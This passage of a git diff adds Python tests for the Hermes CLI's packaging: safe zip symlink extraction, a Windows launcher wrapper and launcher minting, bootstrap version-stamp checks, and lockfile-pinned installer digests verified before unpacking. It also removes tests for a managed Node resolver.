placeholder holding the + target path. Either way the entry stays inside dest — pin exactly + that, without faking the host.""" + + def build(zf: zipfile.ZipFile) -> None: + _add_file(zf, "share/data.txt", b"d") + _add_symlink(zf, "lib/data", "../share/data.txt") + + dest = tmp_path / "out" + extract(_write_zip(tmp_path / "a.zip", build), dest) + + link = dest / "lib" / "data" + if link.is_symlink(): + assert link.readlink() == Path("../share/data.txt") + else: + assert link.is_file() + assert link.read_text(encoding="utf-8") == "../share/data.txt" + # Nothing anywhere else. + assert set(p.name for p in (dest / "lib").iterdir()) == {"data"} + + +def test_plain_zip_unchanged(tmp_path: Path) -> None: + """No links: behavior identical to before, exec bits included.""" + + def build(zf: zipfile.ZipFile) -> None: + _add_file(zf, "bin/tool", b"#!", mode=0o755) + _add_file(zf, "README", b"r") + + dest = tmp_path / "out" + extract(_write_zip(tmp_path / "a.zip", build), dest) + if sys.platform != "win32": + assert (dest / "bin/tool").stat().st_mode & 0o111 + assert (dest / "bin/tool").read_bytes() == b"#!" + assert (dest / "README").read_bytes() == b"r" diff --git a/tests/scripts/test_desktop_cli_wrapper.py b/tests/scripts/test_desktop_cli_wrapper.py new file mode 100644 index 0000000000..795b796038 --- /dev/null +++ b/tests/scripts/test_desktop_cli_wrapper.py @@ -0,0 +1,191 @@ +"""Unit tests for the bundled payload's win32 launcher wrapper. + +scripts/desktop-cli/launcher-wrapper.py is the zip overlay a distlib +ScriptMaker packs into every minted CLI launcher exe (the rust shim's +replacement). The wrapper is import-safe on purpose, so these tests drive +its real logic — path resolution, sys.path order, the pycache_prefix +default — plus a real subprocess dispatch through a rendered copy. + +The mechanism itself (distlib minting a PE whose shebang carries the + placeholder) is exercised end-to-end by +test_mint_launchers.py. +""" + +from __future__ import annotations + +import os +import subprocess +import sys +from pathlib import Path + +import pytest + +_REPO = Path(__file__).resolve().parents[2] +_WRAPPER = _REPO / "scripts" / "desktop-cli" / "launcher-wrapper.py" + + +def _load(env=None): + """Import the wrapper with its placeholders substituted, like the build + script does, and return its module namespace.""" + text = _WRAPPER.read_text(encoding="utf-8") + for placeholder, value in { + "__HERMES_ENTRY_MODULE__": "stubmod.entry", + "__HERMES_ENTRY_FUNC__": "main", + "__HERMES_REPO_REL__": "../repo", + "__HERMES_SITE_REL__": "../venv/Lib/site-packages", + }.items(): + text = text.replace(placeholder, value) + namespace: dict = {"__name__": "launcher_wrapper_under_test"} + exec(compile(text, str(_WRAPPER), "exec"), namespace) # noqa: S102 - test fixture + return namespace + + +# --------------------------------------------------------------------------- +# Path resolution +# --------------------------------------------------------------------------- + + +def test_launcher_dir_resolves_from_argv0(tmp_path): + ns = _load() + argv0 = tmp_path / "bin" / "hermes.exe" + assert ns["launcher_dir"](str(argv0)) == str(tmp_path / "bin") + + +def test_payload_sys_paths_order_repo_first(tmp_path): + ns = _load() + here = str(tmp_path / "bin") + entries = ns["payload_sys_paths"](here) + # Repo first — its hermes_cli wins over anything stale in the venv + # (the sealed payload has no working editable install). Same order the + # old rust shim composed PYTHONPATH in. + assert entries == [ + os.path.join(here, "..", "repo"), + os.path.join(here, "..", "venv", "Lib", "site-packages"), + ] + + +def test_payload_sys_paths_accepts_forward_slash_rels_on_any_platform(tmp_path): + """The layout facts ride in the wrapper as forward-slash strings (the + payload manifest convention); splitting must not depend on os.sep.""" + ns = _load() + here = str(tmp_path / "bin") + for entry in ns["payload_sys_paths"](here): + assert os.path.isabs(os.path.normpath(entry)) + + +# --------------------------------------------------------------------------- +# configure(): env hygiene, sys.path, pycache_prefix default +# --------------------------------------------------------------------------- + + +def test_configure_prepends_repo_then_site_packages(tmp_path): + ns = _load() + here = str(tmp_path / "bin") + original = list(sys.path) + try: + entries = ns["configure"](here, environ={}) + assert sys.path[:2] == entries + assert sys.path[0] == os.path.join(here, "..", "repo") + assert sys.path[1] == os.path.join(here, "..", "venv", "Lib", "site-packages") + finally: + sys.path[:] = original + + +def test_configure_drops_inherited_pythonpath_and_pythonhome(tmp_path): + ns = _load() + original = list(sys.path) + environ = {"PYTHONPATH": "/foreign/install", "PYTHONHOME": "/foreign/python"} + try: + ns["configure"](str(tmp_path), environ=environ) + assert "PYTHONPATH" not in environ + assert "PYTHONHOME" not in environ + finally: + sys.path[:] = original + + +def test_configure_defaults_pycache_prefix_to_localappdata(tmp_path, monkeypatch): + ns = _load() + environ = {"LOCALAPPDATA": str(tmp_path / "lad")} + original = sys.pycache_prefix + try: + ns["configure"](str(tmp_path), environ=environ) + expected = os.path.join(str(tmp_path / "lad"), "hermes", "pycache") + assert environ["PYTHONPYCACHEPREFIX"] == expected + # The env var alone cannot retro-activate; sys.pycache_prefix is + # the live switch (the rust shim set it on the CHILD's environment). + assert str(sys.pycache_prefix) == expected + finally: + sys.pycache_prefix = original + + +def test_configure_keeps_a_user_set_pycache_prefix(tmp_path, monkeypatch): + ns = _load() + environ = {"LOCALAPPDATA": str(tmp_path / "lad"), "PYTHONPYCACHEPREFIX": str(tmp_path / "mine")} + original = sys.pycache_prefix + try: + ns["configure"](str(tmp_path), environ=environ) + assert environ["PYTHONPYCACHEPREFIX"] == str(tmp_path / "mine") + assert sys.pycache_prefix == original # untouched + finally: + sys.pycache_prefix = original + + +def test_configure_without_localappdata_leaves_pycache_alone(tmp_path): + ns = _load() + environ: dict = {} + original = sys.pycache_prefix + try: + ns["configure"](str(tmp_path), environ=environ) + assert "PYTHONPYCACHEPREFIX" not in environ + assert sys.pycache_prefix == original + finally: + sys.pycache_prefix = original + + +# --------------------------------------------------------------------------- +# Real dispatch: run a rendered copy as a subprocess against a stub module +# --------------------------------------------------------------------------- + + +def _render(tmp_path: Path) -> Path: + text = _WRAPPER.read_text(encoding="utf-8") + for placeholder, value in { + "__HERMES_ENTRY_MODULE__": "hermes_cli.main", + "__HERMES_ENTRY_FUNC__": "main", + "__HERMES_REPO_REL__": "../repo", + "__HERMES_SITE_REL__": "../venv/Lib/site-packages", + }.items(): + text = text.replace(placeholder, value) + bin_dir = tmp_path / "bin" + bin_dir.mkdir(parents=True, exist_ok=True) + out = bin_dir / "hermes.exe" + out.write_text(text, encoding="utf-8") + return out + + +@pytest.mark.skipif(sys.platform != "win32", reason="minted launchers only exist on win32 payloads") +def test_rendered_wrapper_dispatches_to_the_entry_module(tmp_path): + """The full wrapper contract without distlib: a rendered copy placed in + bin/ next to a stub repo + venv resolves its own dir from sys.argv[0], + imports hermes_cli.main off the payload paths, and returns main()'s + exit code.""" + bin_dir = tmp_path / "bin" + (bin_dir / ".." / "repo" / "hermes_cli").mkdir(parents=True, exist_ok=True) + (bin_dir / ".." / "venv" / "Lib" / "site-packages").mkdir(parents=True, exist_ok=True) + (bin_dir / ".." / "repo" / "hermes_cli" / "__init__.py").write_text("") + (bin_dir / ".." / "repo" / "hermes_cli" / "main.py").write_text( + "import sys\n" + "def main():\n" + " assert sys.argv[0].endswith('hermes.exe'), sys.argv[0]\n" + " assert sys.argv[1:] == ['--version']\n" + " import stubdep # importable only via the venv site-packages entry\n" + " return 7\n" + ) + (bin_dir / ".." / "venv" / "Lib" / "site-packages" / "stubdep.py").write_text("X = 1\n") + + wrapper = _render(tmp_path) + env = {k: v for k, v in os.environ.items() if k not in ("PYTHONPATH", "PYTHONHOME", "PYTHONPYCACHEPREFIX")} + env["LOCALAPPDATA"] = str(tmp_path / "lad") + python = Path(sys.base_prefix) / "python.exe" if sys.platform == "win32" else sys.executable + proc = subprocess.run([str(python), str(wrapper), "--version"], capture_output=True, text=True, env=env) + assert proc.returncode == 7, proc.stderr diff --git a/tests/scripts/test_mint_launchers.py b/tests/scripts/test_mint_launchers.py new file mode 100644 index 0000000000..4162936f88 --- /dev/null +++ b/tests/scripts/test_mint_launchers.py @@ -0,0 +1,178 @@ +"""Live tests for the win32 launcher mint (scripts/desktop-cli/mint-launchers.py). + +These RUN the real mint on the current interpreter and then execute the +minted launcher — the strongest proof the mechanism is intact (the research +experiments proved it once; these tests keep proving it on every run): + + * the minted exe is a real PE with a `#!\\..` shebang, + * the placeholder resolves against the launcher's OWN + directory (proved by moving the tree before running), + * the wrapper puts the payload repo + venv site-packages on sys.path and + dispatches to the entry module with argv forwarded and the exit code + returned. + +Skipped off-windows (POSIX payloads ship $0-relative bash trampolines +instead) and when neither distlib nor pip is importable. +""" + +from __future__ import annotations + +import json +import os +import shutil +import subprocess +import sys +from pathlib import Path + +import pytest + +_REPO = Path(__file__).resolve().parents[2] +_MINT = _REPO / "scripts" / "desktop-cli" / "mint-launchers.py" + +pytestmark = [ + pytest.mark.skipif(sys.platform != "win32", reason="distlib launcher minting is win32-only"), +] + + +def _distlib_available() -> bool: + try: + import distlib.scripts # noqa: F401 + return True + except ImportError: + try: + from pip._vendor import distlib # noqa: F401 + return True + except ImportError: + return False + + +pytestmark.append(pytest.mark.skipif(not _distlib_available(), reason="no distlib (nor pip's vendored copy)")) + + +@pytest.fixture() +def payload_tree(tmp_path: Path): + """A miniature payload: bin/, repo snapshot with a stub hermes_cli, + venv site-packages, and a REAL interpreter at the fake store path.""" + bin_dir = tmp_path / "stage" / "bin" + py_dir = tmp_path / "stage" / "tools" / "py-1" + repo = tmp_path / "stage" / "repo" + site = tmp_path / "stage" / "venv" / "Lib" / "site-packages" + for d in (bin_dir, py_dir, repo / "hermes_cli", site): + d.mkdir(parents=True, exist_ok=True) + + # A real interpreter at the shebang's target: the launcher will create + # the process from \..\tools\py-1\python.exe, so the exe + # must actually be able to boot there. Copy from the BASE interpreter — + # a venv python.exe is a launcher stub whose DLLs/Lib live beside the + # real one. + base = Path(sys.base_prefix) + for name in os.listdir(base): + if name in ("Lib", "Scripts", "share", "include"): + continue + src = base / name + if src.is_dir(): + shutil.copytree(src, py_dir / name) + else: + shutil.copy2(src, py_dir / name) + shutil.copytree( + base / "Lib", + py_dir / "Lib", + ignore=shutil.ignore_patterns("__pycache__", "site-packages", "test", "idlelib", "tkinter", "turtledemo", "config-*"), + ) + + (repo / "hermes_cli" / "__init__.py").write_text("", encoding="utf-8") + (repo / "hermes_cli" / "main.py").write_text( + "import os, sys\n" + "def main():\n" + " import hermes_cli, stubdep\n" + " assert sys.argv[0].lower().endswith('hermes.exe'), sys.argv[0]\n" + " assert sys.argv[1:] == ['--version'], sys.argv\n" + " print('OK', os.environ.get('PYTHONHOME'))\n" + " return 7\n", + encoding="utf-8", + ) + (site / "stubdep.py").write_text("X = 1\n", encoding="utf-8") + + return {"bin": bin_dir, "root": tmp_path / "stage", "tmp": tmp_path, "site": site, "repo": repo} + + +def _mint(bin_dir: Path, wrapper: Path, specs) -> list[str]: + env = dict( + os.environ, + HERMES_MINT_BIN_DIR=str(bin_dir), + HERMES_MINT_SPECS=json.dumps(specs), + HERMES_MINT_WRAPPER=str(wrapper), + HERMES_MINT_PYTHON=r"\..\tools\py-1\python.exe", + ) + proc = subprocess.run([sys.executable, str(_MINT)], capture_output=True, text=True, env=env) + assert proc.returncode == 0, proc.stderr + return proc.stdout.split() + + +def _render_wrapper(tmp_path: Path) -> Path: + """cli-entrypoints.mjs's renderWinWrapper, replicated (the .mjs cannot + be imported from python) — same placeholders, same substitution.""" + text = (_REPO / "scripts" / "desktop-cli" / "launcher-wrapper.py").read_text(encoding="utf-8") + for placeholder, value in { + "__HERMES_ENTRY_MODULE__": "hermes_cli.main", + "__HERMES_ENTRY_FUNC__": "main", + "__HERMES_REPO_REL__": "../repo", + "__HERMES_SITE_REL__": "../venv/Lib/site-packages", + }.items(): + text = text.replace(placeholder, value) + out = tmp_path / "wrapper.py" + out.write_text(text, encoding="utf-8") + return out + + +def test_mint_writes_exactly_one_named_exe_per_spec(payload_tree, tmp_path): + wrapper = _render_wrapper(tmp_path) + out = _mint(payload_tree["bin"], wrapper, [{"name": "hermes", "module": "hermes_cli.main", "func": "main"}]) + assert out == ["hermes.exe"] or out == [str(payload_tree["bin"] / "hermes.exe")] + assert sorted(p.name for p in payload_tree["bin"].iterdir()) == ["hermes.exe"], "no versioned twin may remain" + + +def test_minted_launcher_shebang_carries_the_launcher_dir_placeholder(payload_tree, tmp_path): + wrapper = _render_wrapper(tmp_path) + _mint(payload_tree["bin"], wrapper, [{"name": "hermes", "module": "hermes_cli.main", "func": "main"}]) + exe = payload_tree["bin"] / "hermes.exe" + blob = exe.read_bytes() + shebang = blob[blob.rfind(b"#!"):] + assert shebang.startswith(b"#!\\..\\tools\\py-1\\python.exe\n"), shebang[:60] + + +def test_minted_launcher_runs_relocated_and_forwards_exit_code(payload_tree, tmp_path): + wrapper = _render_wrapper(tmp_path) + _mint(payload_tree["bin"], wrapper, [{"name": "hermes", "module": "hermes_cli.main", "func": "main"}]) + + # RELOCATE the whole tree before running: the launcher must resolve the + # interpreter and the payload paths relative to its own dir, wherever + # the install lands. + moved = payload_tree["tmp"] / "moved-install" + shutil.move(str(payload_tree["root"]), str(moved)) + exe = moved / "bin" / "hermes.exe" + + env = {k: v for k, v in os.environ.items() if k not in ("PYTHONPATH", "PYTHONHOME", "PYTHONPYCACHEPREFIX")} + env["LOCALAPPDATA"] = str(payload_tree["tmp"] / "lad") + proc = subprocess.run([str(exe), "--version"], capture_output=True, text=True, cwd=os.path.expanduser("~"), env=env) + assert proc.returncode == 7, proc.stderr[-800:] + assert proc.stdout.strip() == "OK None" # PYTHONHOME was dropped + + # The default pycache prefix kept bytecode out of the (sealed) repo. + assert (payload_tree["tmp"] / "lad" / "hermes" / "pycache").exists() + assert not (moved / "repo" / "hermes_cli" / "__pycache__").exists() + + +def test_mint_rejects_a_non_launcher_dir_shebang(tmp_path): + env = dict( + os.environ, + HERMES_MINT_BIN_DIR=str(tmp_path), + HERMES_MINT_SPECS=json.dumps([{"name": "hermes", "module": "m", "func": "main"}]), + HERMES_MINT_PYTHON=r"C:\abs\python.exe", + ) + wrapper = tmp_path / "w.py" + wrapper.write_text("x = 1\n", encoding="utf-8") + env["HERMES_MINT_WRAPPER"] = str(wrapper) + proc = subprocess.run([sys.executable, str(_MINT)], capture_output=True, text=True, env=env) + assert proc.returncode != 0 + assert "launcher_dir" in proc.stderr diff --git a/tests/scripts/test_verify_bootstrap_version_stamp.py b/tests/scripts/test_verify_bootstrap_version_stamp.py new file mode 100644 index 0000000000..4da74cf481 --- /dev/null +++ b/tests/scripts/test_verify_bootstrap_version_stamp.py @@ -0,0 +1,144 @@ +"""Tests for scripts/verify-bootstrap-version-stamp.py. + +The bootstrap installers stamp ``.hermes-bootstrap-complete`` with the +commit/branch they pinned; this script reads the stamp back and cross-checks +it against the installed checkout. Tests build a real temp git repo, write +stamps by hand, and verify the honest and lying cases. +""" + +from __future__ import annotations + +import importlib.util +import json +import os +import shutil +import subprocess +import sys +from pathlib import Path + +import pytest + + +def _git_exe() -> str: + """A git CreateProcess can start. conftest blanks SystemRoot/ComSpec and + this host's PATH can resolve `git` to the MSIX payload copy under + ``C:\\Program Files\\WindowsApps\\...`` — WinError 5 outside its package + context. Prefer a conventional install.""" + candidates = [hit for hit in (shutil.which("git"),) if hit] + if sys.platform == "win32": + base = Path(os.environ.get("ProgramFiles", r"C:\Program Files")) / "Git" + for rel in (("cmd", "git.exe"), ("bin", "git.exe")): + p = base.joinpath(*rel) + if p.exists(): + candidates.append(str(p)) + for cand in candidates: + if "windowsapps" not in cand.lower(): + return cand + return candidates[0] + + +_GIT = _git_exe() + + +def _git(repo: Path, *args: str) -> str: + env = os.environ.copy() + if sys.platform == "win32": + env.setdefault("SystemRoot", r"C:\Windows") + env.setdefault("ComSpec", r"C:\Windows\system32\cmd.exe") + out = subprocess.run( + [_GIT, *args], cwd=repo, capture_output=True, text=True, check=True, env=env + ) + return out.stdout.strip() + +_SCRIPT = Path(__file__).resolve().parents[2] / "scripts" / "verify-bootstrap-version-stamp.py" +_spec = importlib.util.spec_from_file_location("verify_bootstrap_version_stamp", _SCRIPT) +if _spec is None or _spec.loader is None: + raise ImportError("Failed to load verify-bootstrap-version-stamp.py") +_mod = importlib.util.module_from_spec(_spec) +_spec.loader.exec_module(_mod) + + +def _install_repo(tmp_path: Path) -> Path: + """A minimal 'installed checkout': git repo + the shipped-version field.""" + repo = tmp_path / "install" + repo.mkdir() + _git(repo, "init", "-b", "main") + _git(repo, "config", "user.email", "ci@example.com") + _git(repo, "config", "user.name", "ci") + (repo / "hermes_cli").mkdir() + (repo / "hermes_cli" / "__init__.py").write_text('__version__ = "0.1.2"\n', encoding="utf-8") + _git(repo, "add", "-A") + _git(repo, "commit", "-m", "seed") + return repo + + +def _stamp(repo: Path, **overrides: object) -> Path: + stamp = { + "schemaVersion": 1, + "pinnedCommit": _git(repo, "rev-parse", "HEAD"), + "pinnedBranch": "main", + "completedAt": "2026-08-30T12:00:00.000Z", + } + stamp.update(overrides) + path = repo / ".hermes-bootstrap-complete" + path.write_text(json.dumps(stamp, indent=2) + "\n", encoding="utf-8") + return path + + +def test_honest_stamp_verifies(tmp_path: Path): + repo = _install_repo(tmp_path) + errors = _mod.verify_stamp(_stamp(repo), repo, None, None) + assert errors == [] + + +def test_pinned_commit_must_match_installed_head(tmp_path: Path): + repo = _install_repo(tmp_path) + liar = "a" * 40 + errors = _mod.verify_stamp(_stamp(repo, pinnedCommit=liar), repo, None, None) + assert any("pinnedCommit" in e and "HEAD" in e for e in errors), errors + + +def test_expect_commit_and_branch_are_enforced(tmp_path: Path): + repo = _install_repo(tmp_path) + head = _git(repo, "rev-parse", "HEAD") + # Matching expectations pass. + assert _mod.verify_stamp(_stamp(repo), repo, head, "main") == [] + # A stale expectation fails. + errors = _mod.verify_stamp(_stamp(repo), repo, "b" * 40, "release") + assert len(errors) == 2, errors + + +def test_bad_shape_and_timestamps_are_refused(tmp_path: Path): + repo = _install_repo(tmp_path) + errors = _mod.verify_stamp( + _stamp( + repo, + schemaVersion=2, + pinnedCommit="deadbeef", + completedAt="not-a-time", + ), + repo, + None, + None, + ) + joined = "\n".join(errors) + assert "schemaVersion" in joined + assert "40-char" in joined + assert "ISO-8601" in joined + + +def test_missing_stamp_or_version_is_refused(tmp_path: Path): + repo = _install_repo(tmp_path) + errors = _mod.verify_stamp(repo / "nope.json", repo, None, None) + assert errors and "cannot read stamp" in errors[0] + + empty = tmp_path / "empty" + empty.mkdir() + stamp_path = _stamp(repo) # valid stamp... + (repo / "hermes_cli" / "__init__.py").unlink() + _git(repo, "add", "-A") + _git(repo, "commit", "-m", "drop version") + # The stamp's commit no longer matches HEAD AND no version ships. + errors = _mod.verify_stamp(stamp_path, repo, None, None) + joined = "\n".join(errors) + assert "no __version__" in joined diff --git a/tests/test_bootstrap_pins_fragment.py b/tests/test_bootstrap_pins_fragment.py new file mode 100644 index 0000000000..0791e1c626 --- /dev/null +++ b/tests/test_bootstrap_pins_fragment.py @@ -0,0 +1,148 @@ +"""The bootstrap pin fragments must match pm/lock.json. + +The installers (scripts/install.sh / scripts/install.ps1) are fetched +standalone (curl | sh, irm | iex) and bootstrap uv — and, on Windows, git — +BEFORE any checkout exists, so they cannot read pm/lock.json at run time. +scripts/gen-bootstrap-pins.py derives an inline fragment from the lockfile +and splices it between markers in each script. These tests enforce the +derive-don't-store contract: the stored bytes can never drift from +pm/lock.json (the same authority the pm package manager uses), and the +installers actually consume the pinned values instead of an unpinned +"latest" channel. + +setup-hermes.sh is deliberately NOT a fragment carrier: it runs after a +checkout exists, so it reads the uv pin straight from pm/lock.json at run +time (the former pm.sh bootstrap). +""" + +import json +import subprocess +import sys +from pathlib import Path + +REPO_ROOT = Path(__file__).resolve().parents[1] +GENERATOR = REPO_ROOT / "scripts" / "gen-bootstrap-pins.py" +SETUP_HERMES_SH = REPO_ROOT / "setup-hermes.sh" +INSTALL_SH = REPO_ROOT / "scripts" / "install.sh" +INSTALL_PS1 = REPO_ROOT / "scripts" / "install.ps1" +LOCK = REPO_ROOT / "pm" / "lock.json" + +_SH_FILES = (INSTALL_SH,) +_POSIX_TARGETS = ("linux-x64", "linux-arm64", "darwin-x64", "darwin-arm64") +_WINDOWS_TARGETS = ("win32-x64", "win32-arm64") + + +def _packages() -> dict: + return json.loads(LOCK.read_text(encoding="utf-8-sig"))["packages"] + + +def test_fragments_match_the_pin_table(): + """--check regenerates from pm/lock.json and fails on any drift.""" + result = subprocess.run( + [sys.executable, str(GENERATOR), "--check"], + capture_output=True, + text=True, + timeout=60, + ) + assert result.returncode == 0, ( + f"bootstrap fragments drifted from pm/lock.json:\n" + f"{result.stdout}{result.stderr}" + ) + + +def test_installers_carry_the_pinned_uv_version(): + """Both fragment-carrying installers hold the exact uv version pm/lock.json names.""" + version = _packages()["uv"]["version"] + for path in _SH_FILES: + assert f'UV_PIN_VERSION="{version}"' in path.read_text( + encoding="utf-8" + ), path.name + ps1 = INSTALL_PS1.read_text(encoding="utf-8-sig") + assert f'$script:UvPinVersion = "{version}"' in ps1 + + +def test_dev_setup_reads_the_pin_from_the_lockfile(): + """setup-hermes.sh runs after a checkout exists, so it must NOT carry a + duplicated fragment: it reads the uv pin from pm/lock.json at run time.""" + source = SETUP_HERMES_SH.read_text(encoding="utf-8") + assert "UV_PIN_VERSION" not in source + assert 'pm/lock.json' in source + assert "sha256" in source + + +def test_windows_installer_carries_the_pinned_uv_and_git(): + """install.ps1's bootstrap uv and git are pm/lock.json's, not copies.""" + ps1 = INSTALL_PS1.read_text(encoding="utf-8-sig") + uv = _packages()["uv"] + git = _packages()["git"] + assert f'$script:UvPinVersion = "{uv["version"]}"' in ps1 + assert f'$script:GitPinVersion = "{git["version"]}"' in ps1 + for target in _WINDOWS_TARGETS: + for name, entry in (("uv", uv), ("git", git)): + artifact = entry["artifacts"][target] + assert artifact["url"] in ps1, f"{name} {target} url" + assert artifact["sha256"] in ps1, f"{name} {target} sha256" + + +def test_windows_git_bootstrap_has_no_hand_written_version(): + """A second git version authority must not come back. + + The drifted copy hard-coded a PortableGit tag + version string by hand + next to the download. Anything matching that shape means someone + re-introduced a version this test cannot keep honest — the version and + URL must come only from the generated fragment. + """ + ps1 = INSTALL_PS1.read_text(encoding="utf-8-sig") + assert "$gitTag" not in ps1 + assert "$gitVer" not in ps1 + assert "releases/download/$gitTag" not in ps1 + + +def test_digests_are_verified_before_any_archive_is_unpacked(): + """An unverified download here is arbitrary code execution, so the + sha256 check must sit between the download and the extract/exec step.""" + for path in _SH_FILES: + source = path.read_text(encoding="utf-8") + assert "digest mismatch" in source, path.name + # The digest computation appears before the tar extraction. + digest_at = source.index("sha256sum") + extract_at = source.index("tar -xzf") + assert digest_at < extract_at, f"{path.name}: verify before extract" + + ps1 = INSTALL_PS1.read_text(encoding="utf-8-sig") + # uv: digest check precedes Expand-Archive. + uv_hash = ps1.index("Get-FileHash -Path $zipPath") + uv_extract = ps1.index("Expand-Archive -Path $zipPath") + assert uv_hash < uv_extract, "uv: verify before extract" + assert "uv digest mismatch" in ps1 + # git: digest check precedes the tar extraction. + git_hash = ps1.index("Get-FileHash -Path $tarPath") + git_extract = ps1.index("tar.exe -xf $tarPath") + assert git_hash < git_extract, "git: verify before extract" + assert "git digest mismatch" in ps1 + + +def test_installers_stage_into_the_pm_store_slot(): + """The installers must stage into the pm store slot + (/--/), not the astral ~/.local/bin + layout — so pm adopts the exact same bytes.""" + for path in _SH_FILES: + source = path.read_text(encoding="utf-8") + assert f"uv-$UV_PIN_VERSION-$_target" in source, path.name + ps1 = INSTALL_PS1.read_text(encoding="utf-8-sig") + assert f'uv-$($script:UvPinVersion)-$target' in ps1 + assert f'git-$($script:GitPinVersion)-$target' in ps1 + + +def test_installers_do_not_fetch_unpinned_uv(): + """The astral latest-channel installers must never come back. + + astral.sh/uv/install.sh and install.ps1 resolve "latest" at run time, + which defeats pins-as-repo-data: a hermes install could silently get a + uv nobody reviewed. The only astral.sh mentions allowed are the manual + -install docs URL (docs.astral.sh). + """ + for path in _SH_FILES + (INSTALL_PS1,): + source = path.read_text(encoding="utf-8-sig") + assert "astral.sh/uv/install.sh" not in source, path.name + assert "astral.sh/uv/install.ps1" not in source, path.name diff --git a/tests/test_hermes_constants.py b/tests/test_hermes_constants.py index e5bb62947b..a836e963bf 100644 --- a/tests/test_hermes_constants.py +++ b/tests/test_hermes_constants.py @@ -10,23 +10,16 @@ import hermes_constants from hermes_constants import ( VALID_REASONING_EFFORTS, agent_browser_runnable, - find_hermes_node_executable, - find_node_executable, - find_node_executable_on_path, get_default_hermes_root, get_hermes_dir, get_hermes_home, get_process_hermes_home, - heal_hermes_managed_node, - hermes_managed_node_tree_present, - iter_hermes_node_dirs, is_container, node_tool_runnable, parse_reasoning_effort, reset_hermes_home_override, secure_parent_dir, set_hermes_home_override, - with_hermes_node_path, ) @@ -155,58 +148,6 @@ class TestGetProcessHermesHome: -class TestHermesManagedNode: - @pytest.mark.windows_only - def test_windows_node_dir_prefers_portable_root(self, tmp_path, monkeypatch): - home = tmp_path / "hermes" - node_dir = home / "node" - bin_dir = node_dir / "bin" - node_dir.mkdir(parents=True) - bin_dir.mkdir() - monkeypatch.setenv("HERMES_HOME", str(home)) - - assert iter_hermes_node_dirs() == [node_dir, bin_dir] - - @pytest.mark.windows_only - def test_windows_finds_npm_cmd_before_path(self, tmp_path, monkeypatch): - home = tmp_path / "hermes" - node_dir = home / "node" - node_dir.mkdir(parents=True) - npm_cmd = node_dir / "npm.cmd" - npm_cmd.write_text("@echo off\n") - monkeypatch.setenv("HERMES_HOME", str(home)) - monkeypatch.setattr(hermes_constants, "node_tool_runnable", lambda path: True) - - assert find_hermes_node_executable("npm") == str(npm_cmd) - - - - @pytest.mark.windows_only - def test_windows_skips_broken_managed_npm_without_path_fallback(self, tmp_path, monkeypatch): - home = tmp_path / "hermes" - managed_npm = home / "node" / "npm.cmd" - managed_npm.parent.mkdir(parents=True) - managed_npm.write_text("@echo off\n") - bin_dir = tmp_path / "nodejs" - bin_dir.mkdir() - path_npm = bin_dir / "npm.cmd" - path_npm.write_text("@echo off\n") - monkeypatch.setenv("HERMES_HOME", str(home)) - monkeypatch.setenv("PATH", str(bin_dir)) - monkeypatch.setattr(hermes_constants, "_managed_node_heal_attempted", False) - monkeypatch.setattr(hermes_constants, "heal_hermes_managed_node", lambda: False) - monkeypatch.setattr( - hermes_constants, - "node_tool_runnable", - lambda path: False, - ) - - assert hermes_managed_node_tree_present() is True - assert find_node_executable("npm") is None - assert find_node_executable("npm") != str(path_npm) - - - @pytest.mark.skipif(os.name == "nt", reason="POSIX shell stubs; Windows uses .cmd shims") class TestNodeToolRunnable: """node_tool_runnable() rejects broken Hermes-managed npm/node wrappers.""" @@ -223,120 +164,6 @@ class TestNodeToolRunnable: - def test_broken_managed_npm_heals_when_node_still_runs(self, tmp_path, monkeypatch): - """npm can fail while node --version still succeeds (missing lib/cli.js).""" - profile_home = tmp_path / "profiles" / "assistant" - managed_bin = profile_home / "node" / "bin" - managed_bin.mkdir(parents=True) - self._stub(managed_bin, "node", "#!/bin/sh\necho '22.0.0'\nexit 0\n") - broken_npm = self._stub(managed_bin, "npm", "#!/bin/sh\nexit 1\n") - heal_called = {"value": False} - - system_bin = tmp_path / "system-bin" - system_bin.mkdir() - self._stub(system_bin, "npm", "#!/bin/sh\necho '11.10.0'\nexit 0\n") - - monkeypatch.setenv("HERMES_HOME", str(profile_home)) - monkeypatch.setenv("PATH", str(system_bin)) - monkeypatch.setattr(hermes_constants, "_managed_node_heal_attempted", False) - - def _heal(): - heal_called["value"] = True - broken_npm.write_text("#!/bin/sh\necho '22.0.0'\nexit 0\n") - broken_npm.chmod(0o755) - return True - - monkeypatch.setattr(hermes_constants, "heal_hermes_managed_node", _heal) - - resolved = find_node_executable("npm") - assert heal_called["value"] is True - assert resolved == str(broken_npm) - assert resolved != str(system_bin / "npm") - - - def test_broken_managed_npm_returns_none_when_heal_fails(self, tmp_path, monkeypatch): - profile_home = tmp_path / "profiles" / "assistant" - managed_bin = profile_home / "node" / "bin" - managed_bin.mkdir(parents=True) - self._stub(managed_bin, "npm", "#!/bin/sh\nexit 1\n") - - system_bin = tmp_path / "system-bin" - system_bin.mkdir() - self._stub(system_bin, "npm", "#!/bin/sh\necho '11.10.0'\nexit 0\n") - - monkeypatch.setenv("HERMES_HOME", str(profile_home)) - monkeypatch.setenv("PATH", str(system_bin)) - monkeypatch.setattr(hermes_constants, "_managed_node_heal_attempted", False) - monkeypatch.setattr(hermes_constants, "heal_hermes_managed_node", lambda: False) - - assert find_node_executable("npm") is None - - def test_outdated_managed_node_heals_to_target_major(self, tmp_path, monkeypatch): - """A healthy managed tree below the target major upgrades on next resolve.""" - target = hermes_constants._HERMES_NODE_TARGET_MAJOR - profile_home = tmp_path / "profiles" / "assistant" - managed_bin = profile_home / "node" / "bin" - managed_bin.mkdir(parents=True) - old_node = self._stub( - managed_bin, "node", f"#!/bin/sh\necho 'v{target - 1}.20.0'\nexit 0\n" - ) - heal_called = {"value": False} - - monkeypatch.setenv("HERMES_HOME", str(profile_home)) - monkeypatch.setenv("PATH", "") - monkeypatch.setattr(hermes_constants, "_managed_node_heal_attempted", False) - - def _heal(): - heal_called["value"] = True - old_node.write_text(f"#!/bin/sh\necho 'v{target}.5.1'\nexit 0\n") - old_node.chmod(0o755) - return True - - monkeypatch.setattr(hermes_constants, "heal_hermes_managed_node", _heal) - - resolved = hermes_constants.find_hermes_node_executable("node") - assert heal_called["value"] is True - assert resolved == str(old_node) - - def test_outdated_managed_node_survives_failed_heal(self, tmp_path, monkeypatch): - """Offline heal failure keeps serving the old tree — old Node beats no Node.""" - target = hermes_constants._HERMES_NODE_TARGET_MAJOR - profile_home = tmp_path / "profiles" / "assistant" - managed_bin = profile_home / "node" / "bin" - managed_bin.mkdir(parents=True) - old_node = self._stub( - managed_bin, "node", f"#!/bin/sh\necho 'v{target - 1}.20.0'\nexit 0\n" - ) - - monkeypatch.setenv("HERMES_HOME", 